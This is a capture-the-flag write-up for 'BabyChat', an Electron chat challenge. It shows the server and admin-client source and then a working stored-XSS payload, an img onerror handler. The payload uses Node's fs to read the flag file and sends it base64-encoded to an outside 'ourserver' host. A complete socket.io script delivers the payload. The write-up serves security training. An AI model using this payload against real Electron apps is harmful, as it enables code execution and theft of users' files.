[Web] BabyChat


I have found a simple chat application on github https://github.com/demian85/electron-chat-app-demo. I think if it is on github it should be safe and no one can hack it!

I added report to admin button so users that are not polite will get banned!

Run client from attachment and set server to: [REDACTED]

Note: For security purposes other users can’t see what did you write.

Addition: We recommend using VM to run the client.


Link to the challenge



For this challenge we’re given a link to a github project, a zip containing the source code of the modified app, a server url and some background info about the challenge itself.

The challenge source contains a dockerfile so let’s take a look at that first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM node:slim
COPY . /usr/scr/app
RUN groupadd -g 1337 flag && \
    useradd flag -m -g 1337 -u 1337
RUN apt-get update 
RUN apt-get install -y libgtkextra-dev libgconf2-dev libnss3 libasound2 libxtst-dev libxss1 software-properties-common libatk-bridge2.0-0 xvfb x11-xkb-utils xfonts-100dpi xfonts-75dpi xfonts-scalable xfonts-cyrillic x11-apps libgtk-3-0
RUN sed -ie '/<blank>/d' /etc/fonts/fonts.conf
RUN sed -ie '/<\/blank>/d' /etc/fonts/fonts.conf
WORKDIR /usr/scr/app/
RUN npm install
RUN cp -r /usr/scr/app/node_modules /usr/scr/app/electron-admin
RUN chown -R root:root /usr/scr/app && \
    find /usr/scr/app -type d -exec chmod 555 {} \; && \
    find /usr/scr/app -type f -exec chmod 555 {} \;

RUN chown flag:flag /usr/scr/app/electron-admin/flag && \
    chmod 400 /usr/scr/app/electron-admin/flag

EXPOSE 3010
USER flag
CMD ["/usr/scr/app/start.sh"]


We can see that it sets up the environment for the application and runs the start.sh script.

1
2
3
4
#!/bin/bash
Xvfb :99 -screen 0 1024x768x24 > /dev/null 2>&1 &
export DISPLAY=':99.0'
npm run server


The start script in turn runs the server which according to package.json is server.js

1
2
3
4
5
const server = require('./lib/server').server;

const port = process.env.PORT || 3010;

server.run(port);


5 files deep and we finally arrive at the proper source of the chat server in “lib/server.js”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
const express = require('express');
const { dialog } = require('electron')
const app = express();
const server = require('http').createServer(app);
const io = require('socket.io')(server);
const { spawn } = require('child_process');
const { exec } = require('child_process');

exports.server = {
  run(port) {
    server.listen(port, '0.0.0.0', () => {
            console.log('Server listening at port %d', port);
    });
  },
};

const users = new Set();
var sockets = []
var messages = [];
var users_to_check = []; 
var proc_pids = [];
io.on('connection', function onConnection(socket) {
  let username;
  socket.on('message', function onMessage(data) {
    const text = data.text;
    if (!messages[username])
        messages[username] = []
    messages[username].push(text);
    socket.emit('message', { username, text });
  });

  socket.on('login', function onLogin(data) {
        username = data.username;
        if (username == "[REDACTED]"){
                username = "admin";
                sockets[username] = socket;
                users.add(username);
                io.sockets.emit('login', { username, users: Array.from(users) });
                if (users_to_check){
                        if(messages[users_to_check[0]]){
                                messages[users_to_check[0]].forEach((text) => sockets['admin'].emit('message', {username, text}));
                                while (messages[users_to_check[0]].length) {
                                        messages[users_to_check[0]].pop();
                                }
                        }
                        users_to_check.shift()

                        function kill() { exec('kill -- -'+proc_pids[0].pid); proc_pids.shift(); }
                        setTimeout(kill,500);
                }
        }
        else if ( username != "admin" && typeof sockets[username] == "undefined"){
        sockets[username] = socket
        users.add(username);
        io.sockets.emit('login', { username, users: Array.from(users) });
        }

        else{
                i = 1;
                user_before = username
                while(typeof sockets[username] != "undefined" || username == "admin") {
                        username = user_before
                        username += i
                        i += 1
                }
                sockets[username] = socket
                users.add(username);
                io.sockets.emit('login', { username, users: Array.from(users) });

         }
  });

  function clear(){
        exec('killall electron')
        proc_pids = []
        users_to_check = []
  }

  setTimeout(clear,5000)

  socket.on('report', function onReport(){
         if (typeof messages[username] != "undefined"){
	  if (!users_to_check.includes(username) && messages[username].length > 0){
                  users_to_check.push(username);
                  process.env['DISPLAY'] = ':99.0'
                  proc_pids.push(spawn('npm', ['start', '--prefix', 'electron-admin'], {env: process.env,detached: true}));
          }
	}
  });
  socket.on('typing', function onTyping() {
    io.sockets.emit('typing', { username });
  });

  socket.on('stop-typing', function onStopTyping() {
    io.sockets.emit('stop-typing', { username });
  });

  socket.on('disconnect', function onDisconnect() {
     users.delete(username);
     delete sockets[username];
     socket.broadcast.emit('logout', { username, users: Array.from(users) });
  });
});


The server handles multiple message types from the connecting client:

Let’s also take a look at the code that handles admin behaviour.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
class App extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      username: '',
      url: '',
      users: [],
      messages: [],
      status: ''
    };
    this.onLogin = this.onLogin.bind(this);
    this.onInput = this.onInput.bind(this);
    this.onSend = this.onSend.bind(this);
  }
  initSocket(url) {
    this.setState({ status: 'Connecting...' });
    const socket = io.connect(url);
    socket.on('connect', () => {
      this.appendMessage(`Connected to server ${ this.state.url }`);
      this.setState({ status: '' });
    });
    socket.on('message', data => {
      	this.appendMessage(`__${ data.username }:__ ${ data.text }`);
    });
    socket.on('login', data => {
    	const opts = { sanitize: true };
      	this.appendMessage(`${ marked(data.username, opts) } has logged in.`);
      	this.setState({ users: data.users });
    });
    socket.on('typing', data => {
      this.setState({ status: `${ data.username } is typing...` });
    });
    socket.on('stop-typing', () => {
      this.setState({ status: '' });
    });
    socket.on('logout', data => {
      const opts = { sanitize: true };
      this.appendMessage(`${ marked(data.username, opts) } disconnected.`);
      this.setState({ users: data.users });
    });
    this.socket = socket;
  }
  appendMessage(message) {
    this.setState((prev, props) => {
      const messages = prev.messages;
      messages.push(message);
      return { messages };
    });
  }
  onLogin(url, username) {
    this.setState({ url, username });
    this.initSocket(url);
    this.socket.emit('login', { username });
    this.refs.inputBar.focus();
  }
  onInput(text) {
    const username = this.state.username;
    if (!typing) {
      typing = true;
      this.socket.emit('typing', { username });
    }
    if (typingTimer) {
      clearTimeout(typingTimer);
      typingTimer = null;
    }
    typingTimer = setTimeout(() => {
      typing = false;
      this.socket.emit('stop-typing', { username });
    }, 1000);
  }
  onSend(text) {
    const username = this.state.username;
    this.socket.emit('message', { username, text });
  }
  componentDidMount() {
    let url = "http://localhost:3010"	
    let username2="[REDACTED]"
    this.onLogin(url,username2)
    this.refs.inputBar.focus();
  }
  render() {
    return React.createElement(
      'main',
      null,
      //React.createElement(LoginBox, { ref: 'loginBox', url: 'http://localhost:3010', onLogin: this.onLogin }),
      React.createElement(
        'div',
        { className: 'content' },
        React.createElement(UserList, { users: this.state.users }),
        React.createElement(ChatArea, { messages: this.state.messages, status: this.state.status })
      ),
      React.createElement(InputBar, { ref: 'inputBar', onInput: this.onInput, onSend: this.onSend })
    );
  }
}


We can see that the client logs in and starts listening for incoming messages/other events. The “login”/”logout” events are sanitized with marked before they appear on the document but that’s not the case with “message”.

By logging in, sending a malicious message and then reporting ourselves we can get XSS on the admin client.

Another important fact to note is that the client is ran with node integration enabled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// electron-admin/index.js
function createWindow() {
  mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    show: false, 
    webPreferences: {
      nodeIntegration: true
    }
  })
  mainWindow.loadURL(`file://${__dirname}/index.html`);
  mainWindow.on('closed', () => {
    mainWindow = null;
  });
}


With this preference enabled we can access node standard API’s and libraries that allow us to interact with the filesystem and read the flag.

Our JS part of the payload can look something like this:

1
2
3
4
const fs = require('fs'); // Load the filesystem library
var flag = fs.readFileSync('/usr/scr/app/electron-admin/flag'); // Read the flag, path taken from the Dockerfile
var img = new Image(); // Create an image tag to exfiltrate the data
img.src = 'https://ourserver/?q=' + btoa(flag);


We can package it into an “img” html tag with the “onerror” attribute containing our code.

1
<img src=x onerror="const fs=require('fs');var flag=fs.readFileSync('/usr/scr/app/electron-admin/flag');var img=new Image();img.src='https://ourserver/?q='+btoa(flag);"></img>


Full code that we can open in browser to log into the chat server and trigger the payload: (I’m using the socket.io library files provided with the challenge since socket.io-client did not want to work well with the server)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script type="text/javascript" src="BabyChat/lib/socket.io.js"></script>
    <script>
let xssSocket = io("[challenge url]");

console.log("asdf")

xssSocket.on("connect", () => {
  xssSocket.emit("login", {
    username: "szymex1",
  });
  console.log('Logged in')

  xssSocket.emit("message", {
    text:
      `<img src=x onerror="const fs=require('fs');var flag=fs.readFileSync('/usr/scr/app/electron-admin/flag');var img=new Image();img.src='https://ourserver/?q='+btoa(flag);"></img>`,
  });
  console.log('Sent payload')

  xssSocket.emit("report");
  console.log('Reported')
});

xssSocket.on("message", (data) => {
  console.log(`XSS Message: ${JSON.stringify(data)}`);
});
</script>
</body>
</html>


After loading up the script we get a request on our webserver: request

1
2
» echo 'Q1RGe0NsMTNuN181MUQzX3JjMyE/fQo=' | base64 -d
CTF{Cl13n7_51D3_rc3!?}



Flag: CTF{Cl13n7_51D3_rc3!?}